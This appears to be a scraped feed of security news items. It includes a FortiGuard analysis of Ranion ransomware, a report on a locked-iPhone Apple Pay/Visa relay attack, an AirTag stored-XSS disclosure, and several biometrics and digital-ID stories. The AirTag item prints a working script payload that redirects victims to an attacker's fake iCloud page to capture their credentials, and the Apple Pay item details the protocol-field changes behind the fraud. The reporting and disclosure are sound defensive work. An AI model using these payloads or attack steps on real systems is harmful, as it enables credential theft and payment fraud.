16. Paging Scan Deadlock (pending CVE - deadlock)

# data[].attributes.attachment_link.title
Bluetooth BrakTooth bugs could affect billions of devices

# data[].attributes.attachment_link.description
Vulnerabilities collectively referred to as BrakTooth are affecting Bluetooth stacks implemented on system-on-a-chip (SoC) circuits from over a dozen vendors. The set of issues impact a wide variety of devices, from consumer electronics to industrial equipment. The associated risk ranges from denial-of-service, deadlock condition of the device to arbitrary code execution.

# data[].attributes.headline
Ranion Ransomware - Quiet and Persistent RaaS

# data[].attributes.subject
Ranion Ransomware - Quiet and Persistent RaaS

# data[].attributes.attachment_link.readable_text
Many thanks to Val Saengphaibul who contributed to this blog.
Affected platforms: Microsoft Windows
Impacted parties: Windows Users
Impact: Encrypts files on the compromised machines and demands ransom from the victim to recover the encrypted files.
Severity level: High

Ranion is a Ransom-as-a-Service (RaaS) that has enjoyed unusual longevity as it has been active since at least February 2017. While its activities and purpose-encrypting files on compromised machines and receiving ransom payment from the user to recover their files-may seem the same as other ransomware in the public's eyes, the truth is that the inner workings of Ranion RaaS are unlike other ransomware.

In this blog, FortiGuard Labs will explain how Ranion RaaS works.

The opening lines of The Tale of Heike, a martial epic about the civil war between the Taira and Minamoto clans in 12 th-century Japan, help describe the rise and fall of various ransomware groups in 2021.
"The Jetavana Temple bells
ring the passing of all things.
Twinned sala trees, white in full flower,
declare the great man's certain fall.
The arrogant do not long endure:
They are like a dream one night in spring.
The bold and brave perish in the end:
They are as dust before the wind."
―Royall Tyler, The Tale of the Heike
Ransomware Operations are Short-Lived
Disappearance:
For those of us monitoring cybercriminal organizations and malware, ransomware often has a very short shelf life. Some of the most notable ransomware movements in 2021 include:
Debut and Rebranding:

The REvil (aka Sodinokibi) gang that had been active since 2019 went dark in June.

The Avaddon ransomware group halted its operations in June. It had begun its operations in 2019.

The Ragnarok ransomware gang, in operation since 2019, shut itself down in August and released its decryption key.

Darkside first appeared in 2020 and closed in May after compromising a major US pipeline company.

FonixCrypter ransomware gave up its criminal life in January and released a decryption tool and its master decryption key. The master decryption key can decrypt all files, regardless of the victim, that had previously been encrypted by FonixCrypter.

Ads for Blackmatter ransomware went up on cyber underground forums in July. While Blackmatter is not a rebrand of another ransomware, affiliation with the Darkside gang is rumored.

Haron ransomware debuted in July and is based on Thanos and Abaddon ransomware.

Doppelpaymar ransomware was rebranded as Grief (PayOrGrief).

SynAck ransomware was rebranded as El_Cometa in August.

Figure 1. Active Period for ransomware that halted/started operation in 2021

The average life span of the ransomware listed above, that either disappeared or rebranded itself in 2021, is a bit less than two years. Reasons for halting operations vary from one ransomware group to another, but they usually do so to escape the unwanted attentions of law enforcement and security researchers.

Ranion Still Going Four Years Later

The Ranion ransomware variant that FortiGuard Labs recently came across bucks that trend. The Ranison ransomware family appears to have been around since at least early 2017, giving it more than four years of longevity. In February of that year, Daniel Smith at Radware Security shed the first light on the Ranion ransomware, describing it as Ransomware-as-a-service. Surprisingly, its website on the Dark Web has remained relatively unchanged: the Ranion developer still maintains its claim that Ranion was created for educational purposes and asks users not to use the ransomware for illegal activities.

The latest version of Ranion, version 1.21, was released in July 2021. Amazingly, the Ranion developer has updated the ransomware every month in 2021 (except for May), including updates for detection evasion, which casts doubt on the claim that the ransomware is for educational purposes. Another interesting data point is that version 1.08 was released in at least January 2018 and was only updated seven times over a 35-month period (January 2018 - December 2020). However, it has seen rapid acceleration in its development in 2021, with six updates over a seven-month period for unknown reasons. Each update made in 2021 contains additional code using an open-source program named ConfuserEx to evade detection and protect the security vendors' identities. We will touch on this part later.

Figure 2. Top of the Ranion ransomware web page on the dark web

The latest version of Ranion ransomware is designed to encrypt files on a compromised machine using the following 44 file extensions, an increase of five new file types over previous analyses (newly added extensions are highlighted in orange):

.wallet, .txt, .rtf, .doc, .docx, .xls, .xlsx, .ppt, .pptx, .odt, .ods, .pdf, .jpg, .jpeg, .png, .gif, .bmp, .csv, .sql, .mdb, .db, .accdb, .sln, .php, .jsp, .asp, .aspx, .html, .htm, .xml, .psd, .cs, .java, .cpp, .cc, .cxx, .zip, .rar, .pst, .ost, .eml, .pab, .oab, .msg

Although the ransomware is not designed to encrypt executable files, the Ranion developers state that users "can request other additional file types/extensions to encrypt for free as any files can be a target of Ranion ransomware."

How Ranion Makes Money
Figure 3: Ranion ransomware packages and prices
Originally, back in 2017, Ranion offered users two support packages (a 1-year and a 6-months service). Today, the Ranion team offers four support packages: Elite, Premium, Standard, and Test.

Previously, the most expensive package was offered for 0.95 bitcoin and the cheapest for 0.60 bitcoin. In February 2017, one bitcoin was worth about 1,200 US dollars, which means these packages sold for around 1,140 USD and 720 USD, respectively. As of September 2021, one bitcoin exchanged for around 50,000 USD so Ranion developers have adjusted their prices, and they also now offer discounts for easy-to-buy add-on options.

Ranion's business model is quite different from other RaaS vendors. Typically, Ransomware-as-a-Service vendors pay out 60%-80% of any ransoms collected to their "affiliates" that have successfully installed their ransomware onto a victim's machine. The Ranion developers do not take a middleman's cut. Instead, their affiliates pay for the RaaS service upfront, and they then receive 100% of any ransoms collected. And while some RaaS vendors try to recruit experienced affiliates, and often screen potential affiliates before allowing them to sign up for the service, Ranion developers do not. This is one of the reasons why many inexperienced affiliates start with Ranion. It allows then to get used to the ransom operation. It is also a choice for affiliates who were unable to pass the screening process imposed by other ransomware gangs, thereby lowering the bar for entry.

To see how well this model works, we tracked some Bitcoin wallets used by one of the older Ranion samples for ransom payment. Two moderate payments, totaling about USD $153 and $460 worth of Bitcoin, were made to the wallet within a week of the Ranion sample being made available. But a Bitcoin wallet used by Ranion has recorded transactions from two other Bitcoin wallets. About $4.7 million USD worth of Bitcoin was transferred to one of those wallets from over 300 different Bitcoin wallets.

Dropper Add-On

Another notable characteristic of Ranion is that it provides an opportunity for buyers to purchase a dropper add-on. At first glance, a "dropper" may sound like a malware add-on that Ranion affiliates can use to deliver ransomware, but it's not. According to an FAQ posted on the purchase site, the add-on dropper has the following description: " RANION can download a program of yours (exe file) and execute it after encryption process ended. "
¹AUP is available for purchase
For example, an attacker might use this add-on to silently download and install a remote access tool "RAT" on a victim's machine infected with Ranion. Even if the victim opts to pay ransom, the Ranion decrypter only decrypts the encrypted files but does not remove the RAT. The Ranion affiliate can then turn to other RaaS services that are willing to purchase existing corporate access (recent Lockbit 2.0 and Blackmatter RaaS quickly come to mind) and sell that compromised victim for additional profit. This scheme can surely be "educational," but it's only good for ransomware affiliates.

Figure 4: FAQ on paid "Dropper" add-on.

Figure 5: Sample of Ranion's C&C dashboard

The Ranion Ransomware Delivery Method

The Ranion ransomware's delivery method recently observed by FortiGuard Labs is very straightforward. It was done through a spearphishing email with a zip file attachment that included the Ranion ransomware executable. As Ranion is more suited for beginner threat actors, the lack of sophistication in their ransomware delivery might be a reason why Ranion has not gained household status in the ransomware realm. This may also be why they have managed to stay under the radar for more than four years.

Figure 6: Recent spearphishing emails (in Spanish and French) used to deliver the Ranion ransomware

Ranion's ransom message supports eight languages by default (English, Russian, German, French, Spanish, Italian, Dutch, and Persian). Any regions in which those languages are primarily used can be a target of Ranion.

Ranion Ransomware Origin: HiddenTear Copycat?

Ranion bases its code on the open-source proof-of-concept ransomware known as HiddenTear. There are some code similarities between the two projects.

Figure 7: HiddenTear AES encryption

The above screenshot is from HiddenTear's implantation of an encryption function. It can be found at https://github.com/goliate/hidden-tear/blob/master/hidden-tear/hidden-tear/Form1.cs. For comparison, Ranion's implementation is below:

Figure 8: Ranion AES encryption

To encrypt files, HiddenTear uses this function.

Figure 9: HiddenTear file encryption

Ranion implements its encryption in a similar fashion.

Figure 10: Ranion file encryption

These are just two examples. Overall programming resemblance can be seen in a variety places. In addition, Ranion kept their resource section similar to HiddenTear's as well.

Figure 11: Ranion resource

NOTE: This Ranion variant is from 2017 and has a SHA256 hash value of eed03a9564aee24a68b2cade89d7fbe9929e95751a9fde4539c7896fda6bdcb5

To Be FFFFUUUUDDDD

To be fully undetectable, the Ranion team has consistently relied on the ConfuserEx project, which is the successor of the now defunct Confuser project. It is a free and open-source obfuscator that makes malware harder to analyze by "protecting" .NET applications through symbol renaming, anti-debugging, encryption, compression, and other functions. (For more info, please see the github project page here.)

The 2017 Ranion variant analyzed below was "protected" by the Confuser project.

Figure 12: 2017 Ranion using Confuser

The following 2021 variant of Ranion was "protected" using the ConfuserEx project.

Figure 13: 2021 Ranion using ConfuserEx

While ConfuserEx is able to do what it says, which is "protect" .NET applications, in this case it is protecting malware from being detected by the AV industry via evasion techniques.

Conclusion - Ranion Ransomware

HiddenTear-based Ranion is a low-profile, low-cost RaaS that has not achieved the same success of other, more notorious ransomware gangs. However, this ransom service provides enough basic features for new threat actors to use it as a steppingstone for working with more sophisticated malicious services. Ranion is only "educational" in that it helps train wannabe cyber criminals inflict the same damage as other ransomware variants that have simply adopted more polished and sophisticated delivery and propagation mechanisms.

Fortinet Protections

Fortinet customers are already protected from this malware by FortiGuard's AntiVirus and FortiEDR services, as follows:

MSIL/Kryptik.LMX!tr

MSIL/Agent.AZG!tr

MSIL/Agent.BJU!tr

MSIL/Bladabindi.FM!tr

MSIL/Filecoder.FU!tr

MSIL/GenKryptik.BLYY!tr

MSIL/GenKryptik.FEWS!tr

W32/Crypmodadv.A!tr

W32/DOTHETUK.FU!tr.ransom

W32/Hesv.BXFI!tr

Indicators of Compromise (IOCs):

SHA2:

52f6e8c0c28f802d8dfd9138bcc971d449d0526469a36541359b6fc31d44d7dc

d63f032180d6cbc3165f79dac13f81e69f3176b06f0ff4b162b167e4f45f5e93

f687c51ee4889c6a35536d06c87b0123d17a483f7e2f5efcfb423fba94e186be

f18044a85ceb3c472ae57e3473e2f14f945f22a9df634caa242b11e5f81c561b

e4c42969a0327ce133b8b6dd52b0f2e926fbc43a48cf2abbd78d521e310b00e4

41ad23008aea13bccf60249c24ee290e9867223d783bc9ddc4234b8e1d21008d

d894cfa1f2e55ea8fb61598d1312d92c6c1667f97ec683dfa5b5350b32402099

2a8f7abaa6b896bdcc8f73a78af89274df5ee5f586edb88a0b4fd0b06cbaf6bd

19b2da9261d163d3a8e25916b0c960bae36d4334172faa2eb7f720c7483f0fb1

434bbb0e4f289944e6c1fafc11e7f3353056857fb90abafd17e2c6ec697d94b3

bbe77c293bf11c5e8d26ff1583cf546a346de5d666e5558b17f056f1117ddaf8

7afbb979ac6485cbe4d21955dd0f4444d67d2b99aa3d420c09bcc7d54949ed7c

ac5e6f8e646311bf3645ccdccf7119712ada6811d973444d3a763d17083ef028

2ab7ba4aa579ffda113b3f1a693cb2f6b45c5adb833301762d623089f5e37694

4ad4aabd3ec941e6eb442aadae23e01539f63c093582ebf9239681fe399c7571

e28afea1a286b27c9f4578cb27729e180dd20f406282e489328e11722b37af73

8a4298a5c2101baf0315a2c5ed297a6b9912c673a200a7082fb96fcaa21a7316

798a618bf3b817751de722bc84475d5dca798fb48e844804d530e34e920fad09

bd82bb30089383547fcc1ab8181c957f770a99c1499db211fa3245135fcce2be

eba37b0cef846c16bca30804557d7dae57b16cda506a111e2e4c6f7ef54cab70

507cc65037febbad93cd5a4c10d1e870f4f73069484bd7913349deb139c18ea2

b93a45691e955d4600dde6219125f0a38b0544ad48872bc4ebda5436cf2c0bc0

abf13688180d505d07b04a6643941a571de1efd97b46631abfafd555863ec33e

0f2bbf749501297928efbd4a12d8a1858c7944516e8b15817988a429eae4e632

a9671f6455895b1e0875eec277015672ea816dc5299cfd519db2dc4bc38ce693

0a59c6b2ec5dbaa7e36b52dc494d1e58e918f32695cfb28104a5c82b09a9554f

ca7aaa3de1948dc882d55d40a0269a145e34f1e07b2b1e932040863e6d1dedb8

27cb1df4a3092c42ddfd93db50cc78813a823a881e6d131410915d0ded6515c4

46b9c46520f00b25924cc0a137393f67a0f4395da8cdc37b32985b90d7285252

46462ba2ac8018901239800f1c4562a31618b1565fe559ab826feef303adab8d

df7c5267c9e61d7b23a3a771623c6b274fb601023725a8af1b8bc25ae8bcbdb6

0085d31140895d16a2f92a77b62fb50db0d05fa47b447e21bca062532b5bf0d2

780a576b7ea69b46eb8a698aac0c6ee6e2e426fddcd7a99b749f5aa083e8f72b

94968c73dacfd68500ca59905e410ca4ccafe92cd8e223ed47ad916ee82a6dfb

c18c9cf30056d9ebfda69bb9869a38b5ab2d2e3d388a747d7ec8516e022aa7e9

19d9ec2713d913d5325a72ce646351a2384d86efd5dcecebb354ef2bc9e801a2

c38e068677903ccd9b117bacaa3b201616668e449856f8d14894f9acf3f6e9cc

378b34a3e1f760dc7d6c5ff742c543a0184a255c7c3422e348eab05dca1377f9

e9352eb25a1ef3fc8d88fd62a4253d4b8db3931366f012e9ee7916818f74ad55

f7b6ac95cbf4f4122c67e3f841de1152cb032e36d768cd71618cbaf95f131727

df16d6b57a0290b8d7276285020cf6cf5e7c4a561516500fd44e862ea32c1073

dbd00dffb77998d4b0c9946e727279831f19e5d58059b0de353cb191f6c3ca00

1bbc33db0c52d5c3f2798f726bb476cf20d00eeae971e98926bbfbf194e7e03c

98f16b75d1c9e3c8914b10de4b6286397285d226785b42766847b35558ee0dc7

86c6a8c1cd461dafdc30ce37eca355f096ff35ccd48b4de3f2f3bd56d0cef543

c5234f098cf2319c813e8025e0ea04b4f45de4ad195b64ba80fe9a098de54431

0361585476c9e04cbe9efac74fe76e32d84e2e682ac4a8e5f67860a719e7b6d0

1fdaae6a5b1d69d795a07b5518568964dc53e181b22ad2427e7f10c60d61241b

4824c68f18089c44af8426b9a2d7960f5caa572777a46b3a172093b321acbf1d

eed03a9564aee24a68b2cade89d7fbe9929e95751a9fde4539c7896fda6bdcb5

023b12665ff5c46331ece74d220c52a28439ada61210183bbd921e1ef833645c

aa9bbffae11e2a2af53acbb56129d99cb93c78c98202f5c19b095f9ed296a2ce

ea00fffa874669e743d125fcdb55ba591a54d469c621eada61f304495269a35c

f389a83b1309ff17c9c0faf1d9e079ceae3b4111c6813ad50bd451a9a19b291b
MITRE ATT&CK information
33d24a576f00847d44315c1d6d588a3aa45031dec2b1590bc67bc6800e455cf6

Execution

- T1204.002: Malicious File

Persistence

- T1547.001: Registry Run Keys/Startup Folder

Privilege Escalation

- T1548.002: Bypass User Account Control

Defense Evasion

- T1027.002: Software Packing

- T1548.002: Bypass User Account Control

- T1562.001: Disable or Modify Tools

Discovery

- T1083: File and Directory Discovery

Impact

- T1486: Data Encrypted for Impact
Learn more about Fortinet's Learn more about Fortinet's free cybersecurity training, an initiative of Fortinet's Training Advancement Agenda (TAA), or about the Fortinet Network Security Expert program, Security Academy program, and Veterans program. Learn more about FortiGuard Labs global threat intelligence and research and the FortiGuard Security Subscriptions and Services portfolio. FortiGuard Labs threat research and intelligence organization and the FortiGuard Security Subscriptions and Services portfolio.
- T1491.001: Internal Defacement

# data[].attributes.attachment_link.title
Ranion Ransomware - Quiet and Persistent RaaS | FortiGuard Labs

# data[].attributes.attachment_link.description
Many thanks to Val Saengphaibul who contributed to this blog. Affected platforms: Microsoft Windows Impacted parties: Windows Users Impact: Encrypts files on the compromised machines and demands ransom from the victim to recover the encrypted files. Severity level: High Ranion is a Ransom-as-a-Service (RaaS) that has enjoyed unusual longevity as it has been active since at least February 2017.

# data[].attributes.headline
Apple Pay with Visa Hacked to Make Payments via Locked iPhones

# data[].attributes.subject
Apple Pay with Visa Hacked to Make Payments via Locked iPhones

# data[].attributes.attachment_link.readable_text
An attacker who steals a locked iPhone can use a stored Visa card to make contactless payments worth up to thousands of dollars without unlocking the phone, researchers are warning.

The problem is due to unpatched vulnerabilities in both the Apple Pay and Visa systems, according to an academic team from the Universities of Birmingham and Surrey, backed by the U.K.'s National Cyber Security Centre (NCSC). But Visa, for its part, said that Apple Pay payments are secure and that any real-world attacks would be difficult to carry out.

The team explained that fraudulent tap-and-go payments at card readers can be made using any iPhone that has a Visa card set up in "Express Transit" mode. Express Transit allows commuters around the world, including those riding the New York City subway, the Chicago El and the London Underground, to tap their phones on a reader to pay their fares without unlocking their devices.

"An attacker only needs a stolen, powered-on iPhone," according to a writeup ( PDF) published this week. "The transactions could also be relayed from an iPhone inside someone's bag, without their knowledge. The attacker needs no assistance from the merchant."

In a proof-of-concept video, the researchers showed a £1,000 payment being sent from a locked iPhone to a standard, non-transit Europay, Mastercard and Visa (EMV) credit-card reader.

"Logically, it's an interesting advancement of tapping a contactless card machine against someone's wallet/purse in their back pocket on the subway/metro," Ken Munro, researcher with Pen Test Partners, told Threatpost. "However, I'm more concerned about the threat of fraud with a stolen phone. In the past, the PIN would have prevented fraud from a stolen phone. Now, there's a valid attack method that makes theft of a phone with Express Transit enabled really quite valuable."

Exploiting Apple Pay Express Transit Mode

The attack is an active man-in-the-middle replay and relay attack, according to the paper. It requires an iPhone to have a Visa card (credit or debit) set up as a transit card in Apple Pay.

The attackers would need to set up a terminal that emulates a legitimate ticket barrier for transit. This can be done using a cheap, commercially available piece of radio equipment, researchers said. This tricks the iPhone into believing it's connecting to a legitimate Express Transit option, and so, therefore, it doesn't need to be unlocked.

"If a non-standard sequence of bytes (Magic Bytes) precedes the standard ISO 14443-A WakeUp command, Apple Pay will consider this [to be] a transaction with a transport EMV reader," the team explained.

Once this malicious reader-spoofing terminal is live, the next step is to intercept and relay the payment-authorization signals from Apple Pay via the emulator to everyday, non-transit contactless payment readers - such as those found in shops. This is something the researchers were able to do with a special application they created, running on an Android phone. The application modifies the communications coming to and from the iPhone.

"While relaying the EMV messages, the Terminal Transaction Qualifiers (TTQ) sent by the EMV terminal need to be modified," they explained. Specifically, it turns on the "Offline Data Authentication (ODA) for Online Authorizations" feature as well as the "EMV mode supported" setting.

"These modifications are sufficient to allow relaying a transaction to a non-transport EMV reader, if the transaction is under the contactless limit," according to the writeup. The contactless limit is the top payment amount someone can make using the technology without officially authenticating to the phone via biometrics or passcode.

However, the researchers found that they could also make transactions over the contactless limit with just another tweak to the communications. To do so, "the Card Transaction Qualifiers (CTQ) sent by the iPhone, need to be modified such that the bit (flag) for Consumer Device Cardholder Verification Method is set...The CTQ value appears in two messages sent by the iPhone and must be changed in both occurrences."

They explained, "This tricks the EMV reader into believing that on-device user authentication has been performed (e.g. by fingerprint)."

Further, because it's a relay attack, Munro pointed out that the card machine receiving the payment could be anywhere in the world as long as it's connected to the internet.

"Now, one doesn't need the card machine to be present, as the transaction can be relayed elsewhere," he said. "Is that a likely attack? Possibly."

The academic team posted a PoC demo video:

Visa, Apple Pay Flaws Remain Unpatched

This attack is made possible by a combination of flaws in both Apple Pay and Visa's systems, the academic team noted.

"The details of this vulnerability have been disclosed to Apple (Oct 2020) and to Visa (May 2021)," according to the writeup. "Both parties acknowledge the seriousness of the vulnerability, but have not come to an agreement on which party should implement a fix."

However, Visa and Apple aren't exactly "acknowledging the seriousness" of the problem, considering their official statements regarding the findings.

"Variations of contactless-fraud schemes have been studied in laboratory settings for more than a decade and have proven to be impractical to execute at scale in the real world," Visa said in a statement to the BBC, adding that its fraud-detection systems would flag any suspicious transactions.

Apple meanwhile shifted the responsibility to Visa and told the outlet, "We take any threat to users' security very seriously. This is a concern with a Visa system, but Visa does not believe this kind of fraud is likely to take place in the real world given the multiple layers of security in place. In the unlikely event that an unauthorized payment does occur, Visa has made it clear that their cardholders are protected by Visa's zero-liability policy."

However, in the paper, the researchers said that fraud detection seems futile in the face of the attack: "back-end fraud detection checks have not stopped any of our test payments," they wrote.

Munro noted that the issues should be addressed, but that for now, users can protect themselves by not using Visa as a transport card in Apple Pay, and if they do, by remotely wiping the device if lost or stolen.

"I find it amazing that Apple and Visa are arguing about who should fix the issue," he told Threatpost. "In the meantime, consumers have little choice but to switch off Express Travel Card mode. So, my advice is disable the payment mode until Visa and Apple sort their act out. It's in Settings > Wallet & Apple Pay > Express Travel Card."

Phone-wiping can be accomplished via Find My iPhone and iCloud.

The bug does not affect other types of payment cards or payment systems - Mastercard on Apple Pay or Visa on Samsung Pay, for instance, are safe from such attacks, the researchers noted.
Check out our free upcoming live and on-demand webinar events - unique, dynamic discussions with cybersecurity experts and the Threatpost community.

# data[].attributes.attachment_link.title
Apple Pay with Visa Hacked to Make Payments via Locked iPhones

# data[].attributes.attachment_link.description
An attacker who steals a locked iPhone can use a stored Visa card to make contactless payments worth up to thousands of dollars without unlocking the phone, researchers are warning. The problem is due to unpatched vulnerabilities in both the Apple Pay and Visa systems, according to an academic team from the Universities of Birmingham and Surrey, backed by the U.K.'s National Cyber Security Centre (NCSC).

# data[].attributes.headline
Zero-Day: Hijacking iCloud Credentials with Apple Airtags (Stored XSS)

# data[].attributes.subject
Zero-Day: Hijacking iCloud Credentials with Apple Airtags (Stored XSS)

# data[].attributes.attachment_link.readable_text
Photo by Daniel Romero on Unsplash

Apple's "Lost Mode" allows a user to mark their Airtag as missing if they have misplaced it. This generates a unique https://found.apple.com page, which contains the Airtag's serial number, and the phone number and personal message of the Airtag owner. If any iPhone or Android user happens to discover a missing Airtag, they can scan it (through NFC) with their device, which will open up the Airtag's unique https://found.apple.com page on their device.

Screenshot by Jason Cipriani/CNET

An attacker can carry out Sored XSS on this https://found.apple.com page, by injecting a malicious payload into the Airtag "Lost Mode" phone number field. A victim will believe they are being asked to sign into iCloud so they can get in contact with the owner of the Airtag, when in fact, the attacker has redirected them to a credential hijacking page. Other XSS exploits can be carried out as well like session token hijacking, clickjacking, and more. An attacker can create weaponized Airtags, and leave them around, victimizing innocent people who are simply trying to help a person find their lost Airtag.

Reproduction Steps to create a weaponized Airtag:

An attacker sets their Airtag into lost mode.

2. An attacker intercepts this request, and injects this malicious payload into the phone number field:
<script>window.location='https://10.0.1.137:8000/indexer.html';var a = '';</script>
This XSS code above will redirect a victim to the attacker's fake iCloud page, which has a keylogger installed to capture their credentials.

3. A victim then discovers the lost Airtag. They open up their Find My app, and scan the Airtag.

4. This opens up the generated https://found.apple.com page. The victim is immediately redirected to the malicious attacker page, which is a direct clone of one of the iCloud.com login pages.

5. The victim enters their iCloud credentials, which are immediately exfiltrated to the attacker's server.

The above walkthrough outlines only one example of the dangers of Stored XSS. There are countless ways an attacker could victimize an end user who discovers a lost Airtag. Since Airtags were recently released, most users would be unaware that accessing the https://found.apple.com page doesn't require authentication at all. The https://found.apple.com link can also be used as a phishing link, and shared via a desktop/laptop, without the need for a mobile device to scan the Airtag. Further injection attacks could occur through the Find My App, which is used to scan third-party devices that support "Lost Mode" as part of Apple's Find My network.

# data[].attributes.attachment_link.title
Zero-Day: Hijacking iCloud Credentials with Apple Airtags (Stored XSS)

# data[].attributes.attachment_link.description
Apple's "Lost Mode" allows a user to mark their Airtag as missing if they have misplaced it. This generates a unique https://found.apple.com page, which contains the Airtag's serial number, and the phone number and personal message of the Airtag owner.

# data[].attributes.headline
Most Third-Party Cloud Containers Have Vulnerabilities

# data[].attributes.subject
Most Third-Party Cloud Containers Have Vulnerabilities

# data[].attributes.attachment_link.readable_text
The vast majority of third-party code used in cloud infrastructure contains vulnerabilities and misconfigurations, which could leave organizations exposed to attack, according to Palo Alto Networks.

The security vendor's Unit 42 Cloud Threat Report 2H 2021 used data from various public sources better to understand the threat from cloud software supply chains.

It revealed that 63% of third-party code templates used to build cloud infrastructure contain insecure configurations, while 96% of third-party container applications deployed in cloud infrastructure contain known vulnerabilities.

Unvetted third-party code can introduce vulnerabilities and malware inserted on purpose by threat actors. A Sonatype study from earlier this month revealed a 650% spike in upstream supply chain attacks of this nature.

To highlight the challenge, Unit 42 analyzed public Terraform modules and found over 2500 were misconfigured in areas such as encryption, logging, networking, backup and recovery, and identity and access management.

"Teams continue to neglect DevOps security, due in part to lack of attention to supply chain threats. Cloud-native applications have a long chain of dependencies, and those dependencies have dependences of their own," the vendor explained.

"DevOps and security teams need to gain visibility into the bill of materials in every cloud workload in order to evaluate risk at every stage of the dependency chain and establish guardrails."

Alongside its analysis of public data sources, Unit 42 was recently commissioned by a SaaS customer of Palo Alto Networks to run a red team exercise on its environment. It revealed critical flaws in its software development processes, which exposed the firm to attacks similar to those on SolarWinds and Kaseya.

"The customer whose development environment was tested in the red team exercise has what most would consider a mature cloud security posture," the vendor claimed. "However, their development environment contained several critical misconfigurations and vulnerabilities, enabling the Unit 42 team to take over the customer's cloud infrastructure in a matter of days."

# data[].attributes.attachment_link.title
Most Third-Party Cloud Containers Have Vulnerabilities

# data[].attributes.attachment_link.description
The vast majority of third-party code used in cloud infrastructure contains vulnerabilities and misconfigurations, which could leave organizations exposed to attack, according to Palo Alto Networks. The security vendor's Unit 42 Cloud Threat Report 2H 2021 used data from various public sources better to understand the threat from cloud software supply chains.

# data[].attributes.headline
Cracking the Victure IPC360 Monitor – Remote control and Cloud Misconfiguration Combined

# data[].attributes.subject
Cracking the Victure IPC360 Monitor – Remote control and Cloud Misconfiguration Combined

# data[].attributes.headline
Trust Stamp CSO argues for biometric binding with fuzzy tokens in EAB talk

# data[].attributes.subject
Trust Stamp CSO argues for biometric binding with fuzzy tokens in EAB talk

# data[].attributes.attachment_link.readable_text
Trust Stamp Chief Science Officer Dr. Norman Poh presented a system for biometric binding which gains privacy benefits from asymmetric key encryption and fuzzy tokens in a European Association for Biometrics ( EAB) lunch talk.

The webinar focused on the context and technical details of moving 'Towards building a resilient digital identity system with strong biometric binding.'

Poh described how Trust Stamp creates its Irreversibly Transformed Identity Token (IT ²) by injecting a secret code into the biometric template, and how cryptographic keys are bound to users' biometric templates. This approach allows the biometric sample to be revoked, as well as avoiding the risk of GDPR fines.

He also notes that the same method can be used to tokenize any kind of personally identifiable information (PII).

If the sample does need to be revoked, the credential can be recovered by re-enrolling the biometric and combining it with a new secret.

Any biometric data can be used, with error rates reduced by capturing more than one sample of the given biometric.

The frightening risk of the Taliban using biometric data to find victims among Afghanistan's population is an example Poh provides of where a system with an application-specific key could prevent the misuse of biometrics that are stored on a device, rather than in the cloud where the data can be deleted remotely. Revoking the application-specific key severs the link between the template and the token derived from it.

An alternative approach is being used with many COVID-19 vaccination certificates, many of which are not bound to the individual with biometrics. This eliminates the risk of biometric data theft through the credential, but has also contributed to the proliferation of counterfeits and forgeries, Poh says. While rudimentary document fraud can be discovered in various ways, Poh points out that legitimate-seeming credentials issued illegitimately by inside actors, such as healthcare workers, present a challenging problem.

Similar problems are presented by synthetic identity fraud and other attacks against financial services that are not protected with digital ID bound to biometrics.

Poh outlined the eKYC process, and how biometrics can be used to match individuals to established identities, such as those presented by government-issued ID documents. He also shared some of the fraud-prevention gains Trust Stamp's clients have realized, both in terms of preventing fraud and unblocking legitimate users.

He compared the binding methods of the FIDO protocol with that of Trust Stamp, and discussed additional security considerations. The technical details of verification processes were outlined, and the level of assurance it provides.

The device where the software runs is also important, Poh says, as it acts as a second authentication factor, including in offline environments.

EAB's next virtual lunch talk will be held on September 21, and address ' deciphering and generating faces.'

Article Topics

biometric binding | biometric data | biometrics | data protection | digital identity | EAB | encryption | European Association for Biometrics | fraud prevention | privacy | Trust Stamp

# data[].attributes.attachment_link.title
Trust Stamp CSO argues for biometric binding with fuzzy tokens in EAB talk | Biometric Update

# data[].attributes.attachment_link.description
Trust Stamp Chief Science Officer Dr. Norman Poh presented a system for biometric binding which gains privacy benefits from asymmetric key encryption and fuzzy tokens in a European Association for Biometrics ( EAB) lunch talk. The webinar focused on the context and technical details of moving 'Towards building a resilient digital identity system with strong biometric binding.'

# data[].attributes.headline
Germany and Spain to test cross-border digital identity ecosystem

# data[].attributes.subject
Germany and Spain to test cross-border digital identity ecosystem

# data[].attributes.attachment_link.readable_text
DOROTHEE BÄR: Digital identity is a "fundamental building block for successful digitisation"

The governments of Germany and Spain have signed a memorandum of agreement to cooperate on the design, development and piloting of a cross-border digital identity ecosystem that will enable citizens to verify their identity and access digital services in both countries.

As part of the agreement, the two countries will create a joint working group on digital self sovereign identity (SSI) and will carry out a cross-border pilot "in the near future, with a view to contributing to the development of the European Digital Identity Framework".

They will also "share best practices in the field of digital identity from a technical, regulatory and operation point of view, and explore options for the establishment and upscaling of an open and decentralised identity ecosystem that can work across borders while ensuring safe and reliable digital identities based on state-issued identity documents and digital identity credentials," the German government says.

"The declaration also envisages keeping this collaboration open to other member states committed to the development of decentralised, self-sovereign digital identity for national and cross-border use in Europe."

"The German government recognises digital identity as a fundamental building block for successful digitisation," adds German minister for digitisation Dorothee Bär.

"We have already launched a national SSI-based digital identity ecosystem which now involves more than 60 stakeholders from the private and public sectors as well as a live use case - the digital hotel check-in.

"Over the coming months, we plan to implement several more national use cases to expand the ecosystem.

"We are thrilled to take the natural next step through our partnership with Spain to show all of Europe the potential of user-centric, decentralised identities."

The German government announced in February that it will launch digital ID cards for German citizens in autumn 2021.

The EU also confirmed in June that it is to introduce a European Digital Identity Wallet that will enable citizens to link their national digital identity with other personal attributes and will be recognised in all 27 EU member states.

Next: Visit the NFCW Expo to find new suppliers and access free resources

# data[].attributes.attachment_link.title
Germany and Spain to test cross-border digital identity ecosystem

# data[].attributes.attachment_link.description
The governments of Germany and Spain have signed a memorandum of agreement to cooperate on the design, development and piloting of a cross-border digital identity ecosystem that will enable citizens to verify their identity and access digital services in both countries.

# data[].attributes.headline
Biometrics Roundup: Some Good News and Some Very Bad News

# data[].attributes.subject
Biometrics Roundup: Some Good News and Some Very Bad News

# data[].attributes.attachment_link.readable_text
This week's roundup of FindBiometrics' top stories offers a few upbeat news items, and one piece of very bad news that also understandably attracted a lot of attention from readers.

Let's get the bad news out of the way. Among the many consequences of the United States' rapid withdrawal from Afghanistan was that the Taliban, upon seizing the capital city Kabul, acquired biometric identification devices left behind by the US military. It's a development that appeared to put many Afghans who had worked with the Western-backed government in danger, and that put biometric tech in the spotlight as the media surveyed the ongoing crisis:

The industry has also generated a lot of positive news in recent days. NEC, for example, got to celebrate after once again attaining the top ranking in the 1:N Identification category of the National Institute of Standards and Technology's Face Recognition Vendor Test. NEC's algorithm demonstrated an accuracy rate of 99.78 percent:

